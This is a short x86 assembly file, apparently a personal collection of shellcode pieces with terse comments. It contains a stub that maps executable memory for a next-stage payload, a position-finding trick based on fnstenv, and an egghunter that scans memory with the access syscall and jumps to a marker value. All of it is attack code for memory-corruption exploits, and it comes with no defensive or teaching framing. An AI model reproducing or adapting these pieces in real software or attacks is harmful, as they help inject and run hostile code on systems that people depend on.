BITS 32
;next generation hellcode

;mmap memory segment for next step shellcode
;mmap(0, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE,
;     MAP_SHARED|MAP_ANON, 0, 0);
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

mov bx, 0x1001
dec bx
mov cl, 0x7
mov dl, 0x21

push eax
push eax
push edx
push ecx
push ebx
push eax

mov ebx, esp

mov al, 0x5a
int 0x80

;eax addr mmap mem

;xor ebx, ebx
;mov edi, esp
;lea esi, [0x10+edi]
;mov [0x4+edi], esi
;lea ecx, [0x20+edi]
;mov [0x8+edi]


;mov long [eax], 0x33224411
delta:
fldz
fnstenv [esp-0xc]
pop eax
lea ebx, [eax+stra-delta]

lab:
jmp lab

stra:
        db 'l33t haX',13,10,0

;egghunter treci fajl
BITS 32

xor     edx, edx
or      dx, 0xfff
mov     edx, 0x8040101
dec     edx
label1:

inc     edx
inc     edx

;lea    ebx, [edx+0x4]

push    byte + 0x21
pop     eax
int     0x80
cmp     al, 0
jne     label1

mov     eax, 0x50905090
mov     edi, edx
scasd
jnz     0x7
scasd
jnz     0x7
jmp     edi
 

